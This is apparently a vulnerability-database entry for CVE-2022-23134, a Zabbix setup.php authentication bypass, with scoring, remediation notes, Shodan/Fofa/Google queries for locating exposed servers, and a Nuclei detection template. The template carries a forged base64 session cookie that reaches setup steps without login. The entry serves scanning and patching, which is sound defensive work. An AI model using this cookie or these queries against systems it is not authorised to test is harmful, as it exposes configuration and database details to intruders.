SecurityContext

CVE-2022-23134: Zabbix Setup Configuration Authentication Bypass

Classification

  • Cwe: CWE-287, CWE-284
  • Cvss score: 5.3
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Epss score: 0.9526
  • Epss percentile: 0.99867
  • Cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: icon_hash=892542951, app="zabbix-监控系统" && body="saml", title="zabbix-server"
  • Google-query: intitle:"zabbix-server"
  • Max-request: 2
  • Product: zabbix
  • Shodan-query: http.favicon.hash:892542951, http.title:"zabbix-server", cpe:"cpe:2.3:a:zabbix:zabbix"
  • Vendor: zabbix

Products

ProductIndexedUrl
zabbix:zabbixyes/v1/products/zabbix/zabbix

Labels

  • Name: Zabbix - Broken Access Control
  • Impact: Unauthenticated attackers can modify configuration settings, potentially compromising the system's security and integrity.
  • Remediation: Restrict access to setup.php to only authorized administrators and implement proper access controls.
  • Vulnerability type: broken_access_control
  • Vulnerability impact: privilege_escalation
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2022-23134
  • Not known: requirements

```yaml

id: CVE-2022-23134

info:

name: Zabbix Setup Configuration Authentication Bypass

author: bananabr

severity: medium

description: After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend.

impact: |

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Zabbix setup configuration.

remediation: |

Apply the latest security patches or updates provided by Zabbix to fix the authentication bypass vulnerability.

reference:

- https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage

- https://nvd.nist.gov/vuln/detail/CVE-2022-23134

- https://support.zabbix.com/browse/ZBX-20384

- https://lists.fedoraproject.org/archives/list/[email protected]/message/6SZYHXINBKCY42ITFSNCYE7KCSF33VRA/

- https://lists.debian.org/debian-lts-announce/2022/02/msg00008.html

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

cvss-score: 5.3

cve-id: CVE-2022-23134

cwe-id: CWE-287,CWE-284

epss-score: 0.9526

epss-percentile: 0.99867

cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*

metadata:

max-request: 2

vendor: zabbix

product: zabbix

shodan-query:

- http.favicon.hash:892542951

- http.title:"zabbix-server"

- cpe:"cpe:2.3:a:zabbix:zabbix"

fofa-query:

- icon_hash=892542951

- app="zabbix-监控系统" && body="saml"

- title="zabbix-server"

google-query: intitle:"zabbix-server"

tags: cve,cve2022,zabbix,auth-bypass,kev,vkev,vuln

http:

- method: GET

path:

- "{{BaseURL}}/zabbix/setup.php"

- "{{BaseURL}}/setup.php"

stop-at-first-match: true

headers:

Cookie: "zbx_session=eyJzZXNzaW9uaWQiOiJJTlZBTElEIiwiY2hlY2tfZmllbGRzX3Jlc3VsdCI6dHJ1ZSwic3RlcCI6Niwic2VydmVyQ2hlY2tSZXN1bHQiOnRydWUsInNlcnZlckNoZWNrVGltZSI6MTY0NTEyMzcwNCwic2lnbiI6IklOVkFMSUQifQ%3D%3D"

matchers-condition: and

matchers:

- type: word

words:

- "Database"

- "host"

- "port"

- "Zabbix"

condition: and

- type: word

words:

- "youtube_main"

- "support.google.com"

part: header

condition: and

negative: true

- type: status

status:

- 200

digest: 4a0a004730450220218f07a516f00b3d1c6e431234c66ed466d55c0bcb00a9424375595f9b6dcf2f022100bee50617e6e7c8402605ef68ccde70f219af64776a6cb7fc192868c646c599fc:922c64590222798bb761d5b6d8e72950

```